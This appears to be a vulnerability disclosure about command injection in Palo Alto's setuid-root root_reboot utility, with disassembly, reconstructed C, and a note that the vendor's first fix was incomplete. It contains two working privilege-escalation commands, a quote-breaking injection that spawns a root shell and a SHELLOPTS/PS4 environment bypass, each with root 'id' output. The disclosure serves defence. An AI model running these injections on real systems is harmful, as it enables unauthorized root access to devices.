Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=913
This was fixed by PAN: http://securityadvisories.paloaltonetworks.com/Home/Detail/67
The root_reboot utility is setuid root, but performs multiple calls to system() with attacker controlled data, such as this one:
.text:0804870F C7 44 24 04 78+ mov dword ptr [esp+4], offset aUsrLocalBinPan ; "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 "...
.text:08048717 89 04 24 mov [esp], eax ; char **
.text:0804871A E8 0D FE FF FF call _asprintf
.text:0804871F 8B 45 E8 mov eax, [ebp+new]
.text:08048722 85 C0 test eax, eax
.text:08048724 0F 84 B9 01 00+ jz loc_80488E3
.text:0804872A 89 04 24 mov [esp], eax ; command
.text:0804872D E8 9A FD FF FF call _system
Which is trying to do this:
if (setuid(0) < 0)
{
fprintf(stderr, "%s: Can't setuid to reboot system\n");
}
if (reason) {
asprintf(&new, "/usr/local/bin/pan_elog -i 1 -e 3 -s 4 -m \"The system is shutting down due to %s.\"", reason);
system(new);
free(new);
}
This is trivially exploitable, for example:
$ ls -l /usr/local/bin/root_reboot
-rwsr-xr-x 1 root root 16275 Oct 17 2014 /usr/local/bin/root_reboot
$ root_reboot --restart '"; bash -i; echo "'
# id
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)
Palo Alto pointed out that they had already fixed this bug in an update that I needed to apply:
https://securityadvisories.paloaltonetworks.com/Home/Detail/45
However, looking at the fix they had essentially just checked that each character in the "reason" parameter was alphanumeric or white space. This does not prevent exploitation, you can just do this:
$ env SHELLOPTS=xtrace PS4='$(id)' root_reboot --restart whatever
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)
